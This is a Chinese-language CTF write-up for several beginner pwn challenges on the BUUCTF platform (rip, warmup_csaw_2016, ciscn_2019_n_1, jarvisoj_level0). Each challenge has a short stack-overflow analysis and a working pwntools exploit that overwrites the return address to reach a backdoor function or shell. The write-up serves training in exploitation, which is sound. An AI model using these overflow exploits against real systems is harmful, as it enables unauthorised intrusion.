test_your_nc
直接nc就能getshell
rip
下载二进制文件,发现有/bin/sh

找到后门函数

很明显的栈溢出,覆盖返回地址为后门函数即可

exp
1 2 3 4 5
| from pwn import * sh=remote('node3.buuoj.cn',26443) payload='a'*23+p64(0x401187) sh.send(payload) sh.interactive()
|
warmup_csaw_2016
ida打开发现后门函数,直接打开flag.txt,就不用getshell了

main函数

sprint会打印后门函数的地址,gets函数造成栈溢出
exp
1 2 3 4 5 6 7
| from pwn import * sh=remote('node3.buuoj.cn',29685) sh.recvuntil('WOW:') addr=sh.recvuntil('\n')[:-1] payload='a'*72+p64(int(addr,16)) sh.send(payload) sh.interactive()
|
ciscn_2019_n_1
ida

gets造成栈溢出

覆盖返回地址exp
1 2 3 4 5
| from pwn import * sh=remote('node3.buuoj.cn',27073) payload='a'*56+p64(0x4006BE) sh.send(payload) sh.interactive()
|
覆盖浮点数exp
1 2 3 4 5
| from pwn import * io = remote("node3.buuoj.cn" , 25077) payload = b'A'*(0x30-0x4) + p64(0x41348000) #浮点数转16进制工具 io.sendline(payload) io.interactive()
|
jarvisoj_level0
ida


buf长度128,读入0x200可溢出
exp
1 2 3 4 5
| from pwn import * sh=remote('node3.buuoj.cn',26339) payload='a'*136+p64(0x400596) sh.send(payload) sh.interactive()
|